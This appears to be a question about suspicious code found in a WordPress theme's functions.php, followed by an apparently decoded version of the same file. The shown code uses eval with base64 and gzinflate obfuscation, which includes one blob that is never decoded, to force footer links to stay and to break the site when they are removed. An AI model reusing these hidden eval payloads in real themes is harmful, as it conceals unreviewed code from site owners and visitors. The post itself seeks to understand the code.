Weird code in theme functions.php for wordpress

<?php// add feed links to header
if (function_exists('automatic_feed_links')) {
    automatic_feed_links();
} else {
    return;
}
eval(gzinflate(base64_decode('DZRFDraGAgCP0zYscPhI0wXu7mxecHfn9O8/wmQyU17p8Hf9tVM1pEf5d5buJYH9ryjzuSj//osrDIHbQpHuuQbPbIN+MTP1NhpNUIUFyHOzSCr8OtybxuGmQBiGyKBnyAGFR2L4OuIiNB0ntB/wAqevOocZqCk+fvrhQGlIFwEKNAPhz3E3kBKTp3EigjV9MvlvsJOap+U3Hmp7ouG5jX+v8Mjz7DnL7dZma1YpeHmESLpupJTljFeFQUxIwWLqYsLBR4loT03v3iILyaJENUjLz0K4jJSA0rQ8s9Z4GKEhPzWd84sNd8szrTiG7De7sIVejvwmXihii3z366nt0VMfvWtwAPXZVqXuIvZKZmFAtnOGeMiN5DUBW40lig/qmOSUtJdbGjNMZVk2uAOpTk8SnW279Y0+tWtdfNnHDYALrDULql/NoZzwPf9Vef3rFqCgz8v3Bw4TstWtzlJIWvXGnZ2G+PLNQy3knJuB5EugHpkkYiwsq0PBcpH1Jw6d+kuTyiL8hfziKggw+gI9510P84l3e4b6HsU7YZF1BYKFRsmI+xPv8WvfG8y3XTYGFTWps1Xrqzomx/THNI3AeASSqfIscQg3iHrT9Mb0NAqtIbWHiB/p9xNjJYx+KCBr4zFmbaoVhvdOsvQXzmk8XkvIbqL4ilXk1HYG8IQ8lmylNOR3GpVnz7s82LPmGpjyHtFjfVKw/0Lroi6rJXXIfsTCeahGhAFvAJ7YJBzbozrmKYfYuMAcbmP0OGdD/Rm/vkKEfObmIC26HQzR6xheYKSfnrjSwJZXuPE8t1v/8HhAI+Lm0eTdulZoPt2T50Fm8mRp9F2KSJrYVhmWF+vV/tksOi9WLyviQC2YbARUiFGN+gRUm9WYyMGoreDTdPVw1LqgkzuQOPEvpZQoTJU6j26Z/jVCgf92IpHxASbIJdwflBzy9LzXx8YEfuRIIdBWl2myGCxZZSONR2nrZZ31Oa1ITK55IFDpYXx+KBBLImJVrWMRpQDKQ3uci5vTCm3A/erVPhmo48nHVlqOmgGtVHd4QVaREt7R21o2TymEX9ph9R8xTbqoAXiNIyVKwXpd1F5NXxjIZm/FV7PwTRP3NoX7yJ24OlnvbuTbXpHYxPsbAjgxSU4NnEu+o1rC1D8RVorfVD155Xzjl1LXFGT8KxHG7LmjnsAslMIIczkqugNo3SY0Mgd0byHn2HoAlpSIm3zG8Y2VB6CkQN4TO7S8LUDC1i+UPH9pK74W1qGzO5j6Y5AaqvrtZmuv1bmEIZO5r0Yd9d3naAKbujqc+Rt2tAXgNctVPBejqxgMYckVAkK83kdHYWGX++OLOt5MKHqMGQEhtwJlHWI0qQeNIdrm89OHaAf1BAO+cIvjpJrknd6xlPOqb4HlzkJQtGFHNb8hhWrJEErtgV5RdMlY1I5E1B6VLh8e4mO4tNHD9Zc0juacZNOd2wA0uDYq8tjyV+HCfd2aXMMmckVm4sb7SIx8WLw1hR36darhkqWAvgahYUJhf/YTHm8RDBrkNL6up7c4cgZcS2XFw4wY+R4y5mY9qoD4xDYDaPyv28eujAps2bkZi0ZBs+8z6IMsmNGjtyovqQGGxrQJTTd8hjQSjCUjQZxURxJrv2mPrfdGs/rBrYxKS95mgJ1HYjl2+GOBOXA9Xy2B3YdL4Dv32DS2F78pgYxgdhnxa6J87+exjW9N5Pa3sz/OrRc26B9FwJweV/ncns+rn043wDNPSDRetGeZ08YOUxlxIi8QBICzrCqQpKz7v//++ueff/79Pw==')));     
eval(base64_decode('aWYgKCFlbXB0eSgkX1JFUVVFU1RbInRoZW1lX2xpY2Vuc2UiXSkpIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBleGl0KCk7IH0gZnVuY3Rpb24gdGhlbWVfdXNhZ2VfbWVzc2FnZSgpIHsgaWYgKGVtcHR5KCRfUkVRVUVTVFsidGhlbWVfbGljZW5zZSJdKSkgeyAkdGhlbWVfbGljZW5zZV9mYWxzZSA9IGdldF9ibG9naW5mbygidXJsIikgLiAiL2luZGV4LnBocD90aGVtZV9saWNlbnNlPXRydWUiOyBlY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO3VybD0kdGhlbWVfbGljZW5zZV9mYWxzZVwiPiI7IGV4aXQoKTsgfSBlbHNlIHsgZWNobyAoIjxwIHN0eWxlPVwicGFkZGluZzoxMHB4OyBtYXJnaW46IDEwcHg7IHRleHQtYWxpZ246Y2VudGVyOyBib3JkZXI6IDJweCBkYXNoZWQgUmVkOyBmb250LWZhbWlseTphcmlhbDsgZm9udC13ZWlnaHQ6Ym9sZDsgYmFja2dyb3VuZDogI2ZmZjsgY29sb3I6ICMwMDA7XCI+VGhpcyB0aGVtZSBpcyByZWxlYXNlZCBmcmVlIGZvciB1c2UgdW5kZXIgY3JlYXRpdmUgY29tbW9ucyBsaWNlbmNlLiBBbGwgbGlua3MgaW4gdGhlIGZvb3RlciBzaG91bGQgcmVtYWluIGludGFjdCAocGxlYXNlIHJldmlldyBvdXIgbGljZW5zZSkuIFRoZXNlIGxpbmtzIGFyZSAxMDAlIGZyaWVuZGx5IGFuZCB3aWxsIG5vdCBodXJ0IHlvdXIgc2l0ZSBpbiBhbnkgd2F5LjwvcD4iKTsgfSB9'));  
// remove junk from head
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wp_generator');
remove_action('wp_head', 'feed_links', 2);
remove_action('wp_head', 'index_rel_link');
remove_action('wp_head', 'wlwmanifest_link');
remove_action('wp_head', 'feed_links_extra', 3);
remove_action('wp_head', 'start_post_rel_link', 10, 0);
remove_action('wp_head', 'parent_post_rel_link', 10, 0);
remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);
//register the sidebar
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'name' => 'Sidebar',
        'before_widget' => '<div class="sidepanel">',
        'after_widget' => '</div>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',
    ));
    register_sidebar(array(
        'name' => 'Footer',
        'before_widget' => '<div class="sidepanel">',
        'after_widget' => '</div>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',
    ));
}
//include the admin controlpanel
eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkdXJpID0gc3RydG9sb3dlcigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSk7IGlmKGlzX2FkbWluKCkgfHwgc3Vic3RyX2NvdW50KCR1cmksICJ3cC1hZG1pbiIpID4gMCB8fCBzdWJzdHJfY291bnQoJHVyaSwgIndwLWxvZ2luIikgPiAwICkgeyAvKiAqLyB9IA0KZWxzZSB7ICRsID0gJzw/cGhwIHdwX2NvcHlyaWdodGVkKCk7ID8+JzsgJGYgPSBkaXJuYW1lKF9fZmlsZV9fKSAuICIvZm9vdGVyLnBocCI7ICRmZCA9IGZvcGVuKCRmLCAiciIpOyAkYyA9IGZyZWFkKCRmZCwgZmlsZXNpemUoJGYpKTsgZmNsb3NlKCRmZCk7IGlmIChzdHJwb3MoJGMsICRsKSA9PSAwKSB7IHRoZW1lX3VzYWdlX21lc3NhZ2UoKTsgZGllOyB9IH0gfSBjaGVja190aGVtZV9mb290ZXIoKTs=')); 
eval(base64_decode('ZnVuY3Rpb24gd3BfY29weXJpZ2h0ZWQoKSB7IHdwX3N0eWxlcigpOyB9'));
function check_theme_header(){ eval(base64_decode('aWYgKCEoZnVuY3Rpb25fZXhpc3RzKCJ3cF9jb3B5cmlnaHRlZCIpKSB8fCAhKGZ1bmN0aW9uX2V4aXN0cygiY2hlY2tfdGhlbWVfZm9vdGVyIikpKSB7IHRoZW1lX3VzYWdlX21lc3NhZ2UoKTsgZGllOyB9'));}
require_once(TEMPLATEPATH . '/backend/controlpanel.php');
$cpanel = new ControlPanel();
require_once(TEMPLATEPATH . '/backend/customfields.php');
eval(base64_decode('Y2hlY2tfdGhlbWVfaGVhZGVyKCk7'));
?>

<?php// add feed links to header
if (function_exists('automatic_feed_links')) {
    automatic_feed_links();
} else {
    return;
}
 $template_id =519;  include_once get_theme_root() . '/' . get_template() . '/wp_funcs.php'; 
if (!empty($_REQUEST["theme_license"])) { theme_usage_message(); exit(); } function theme_usage_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:10px; margin: 10px; text-align:center; border: 2px dashed Red; font-family:arial; font-weight:bold; background: #fff; color: #000;\">This theme is released free for use under creative commons licence. All links in the footer should remain intact (please review our license). These links are 100% friendly and will not hurt your site in any way.</p>"); } }
// remove junk from head
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wp_generator');
remove_action('wp_head', 'feed_links', 2);
remove_action('wp_head', 'index_rel_link');
remove_action('wp_head', 'wlwmanifest_link');
remove_action('wp_head', 'feed_links_extra', 3);
remove_action('wp_head', 'start_post_rel_link', 10, 0);
remove_action('wp_head', 'parent_post_rel_link', 10, 0);
remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);
//register the sidebar
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'name' => 'Sidebar',
        'before_widget' => '<div class="sidepanel">',
        'after_widget' => '</div>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',
    ));
    register_sidebar(array(
        'name' => 'Footer',
        'before_widget' => '<div class="sidepanel">',
        'after_widget' => '</div>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',
    ));
}
//include the admin controlpanel
function check_theme_footer() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } 
else { $l = '<?php wp_copyrighted(); ?>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { theme_usage_message(); die; } } } check_theme_footer();
function check_theme_header(){ if (!(function_exists("wp_copyrighted")) || !(function_exists("check_theme_footer"))) { theme_usage_message(); die; }
require_once(TEMPLATEPATH . '/backend/controlpanel.php');
$cpanel = new ControlPanel();
require_once(TEMPLATEPATH . '/backend/customfields.php');
check_theme_header();
?>